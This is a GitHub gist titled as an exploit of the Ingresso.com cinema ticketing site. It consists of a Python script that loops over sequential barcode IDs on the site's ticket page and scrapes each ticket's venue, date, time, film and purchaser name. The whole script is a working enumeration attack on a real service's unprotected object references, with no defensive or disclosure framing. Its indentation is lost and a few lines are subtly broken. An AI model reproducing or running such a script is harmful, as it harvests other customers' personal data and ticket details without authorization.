Skip to content

Instantly share code, notes, and snippets.

@felipap
Created January 9, 2015 06:06
Show Gist options
  • Save felipap/a2d7f88c9afcd6e7d984 to your computer and use it in GitHub Desktop.
Save felipap/a2d7f88c9afcd6e7d984 to your computer and use it in GitHub Desktop.
Exploit Ingresso.com
#!/usr/bin/env python3
from bs4 import BeautifulSoup
import urllib.request
base_url = 'http://carrinho.ingresso.com.br/br/compra/ingresso/codbarra/cinema/codbarra_novo.asp?id=00000000000000003620158410000'
base_url = 'http://carrinho.ingresso.com.br/br/compra/ingresso/codbarra/cinema/codbarra_novo.asp?id=0000000000000000 36201%04d 0000'
base_url = 'http://carrinho.ingresso.com.br/br/compra/ingresso/codbarra/cinema/codbarra_novo.asp?id=0000000000000000 361%05d 00000'
def fetch(url):
try:
page = urllib.request.urlopen(url)
if page.getcode() is 404:
return None
return str(page.read())
except urllib.error.HTTPError:
return None
def workAPage(i):
html = fetch((base_url % i).replace(' ', ''))
if html:
parsed = BeautifulSoup(html)
strip = lambda s: str(s).replace('\\t','').replace('\\r','').replace('\\n','').replace(' ','')
# print(parsed.body.find('tr'))
try:
endroit = strip(parsed.body.select('.infoDestaque .infos td:nth-of-type(3) h3')[0]).replace('<h3>','').replace('</h3>','')
date = strip(parsed.body.select('.infoDestaque .infos td:nth-of-type(1) h3')[0]).replace('<h3>','').replace('</h3>','')[:5]
hora = strip(parsed.body.select('.infoDestaque .infos td:nth-of-type(1) h2')[0]).replace('<h2>','').replace('</h2>','')[:5]
if 'Lagoon' not in endroit and 'Leblon' not in endroit:
# print("FUCK THAT")
print("%s: %s - %s" % (i, date, hora))
return
filme = strip(parsed.body.select('.infoDestaque tr:nth-of-type td h1')[0]).replace('<h1>','').replace('</h1>','')
nome = strip(parsed.body.select('td[width="72%"]')[0])[15:-5]
print('%s: %s (%s - %s) \t %s %s' % (i, endroit, date, hora, filme, nome))
except IndexError:
print("Couldn't parse page.")
for i in range(85999, 90000):
workAPage(i)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment